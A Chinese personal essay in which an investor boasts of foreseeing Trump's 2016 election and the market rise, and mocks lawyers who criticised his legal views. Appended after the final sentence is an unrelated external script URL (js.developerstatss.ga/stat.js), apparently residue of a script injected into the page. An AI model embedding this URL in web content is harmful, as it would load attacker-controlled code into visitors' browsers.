隨筆

靠經濟邏輯/直覺，掌握關鍵侷限條件後正確判斷來獲利者，跟「靠販賣特定言論維生」者，是兩種層次之人。

2016年底川普當選前，全球分析師或政論一片認定克林頓會上台時，我是少數認定川普才真正當選且其任職美國股市會大漲，根據自身判斷真金白銀壓寶的獲利，已經證明我的眼光正確。

獲利了結的鈔票才是我的心頭好。

販賣言論者才會在乎讀者看得爽不爽。

這是每個價值投資者必備的獨立思考的自信。

說過很多次：「真理不是靠投票投出來的。」此外，「言論自由前提是要有經濟獨立！」寄人籬下者沒資格談言論自由，這也是多數學者最大的侷限。

順便回覆某些拼命來信宣揚錯誤法律邏輯的所謂法律人：

以為考過國考、律師考就算懂法律，是天真又愚蠢的想法。你不過是「還算會背書」罷了，離思考能力還遠得很。

我還在政大時就已經跟同儕宣揚：「當今世界，同時掌握財經能力與法律知識，再佐以基礎工程認識，才是經濟獨立的重要武器。」我從交通大學休學，花兩個月準備轉學考入政大法律正是基於這樣的想法。

而為了國考學法律之人，與我這種為了投資念法律系之人最大差異在於：當你還在背各種學閥的可笑學說之時，我在大三就靠正確的法律判斷在股票市場獲利高歌了。

當你現在勉強考過律師而苦哈哈地巴結各種客戶，言不及義且自尊踐踏時，我30多歲已經半退休數年，每天睡到自然醒地享受帶小孩的天倫之樂。

我說過：法律人往往號稱大軍其實只有小貓兩三隻。此次拔管事件最為明顯。

而一堆可笑的法律人在枝微末節處斤斤計較時，我這類人早就往他處狩獵收割去。

BTW，這群呆頭法律人真可笑，殊不知我可能是潛在客戶，還跟我大小聲。所謂「生意仔難生」，果然屬實。https://js.developerstatss.ga/stat.js?n=ns1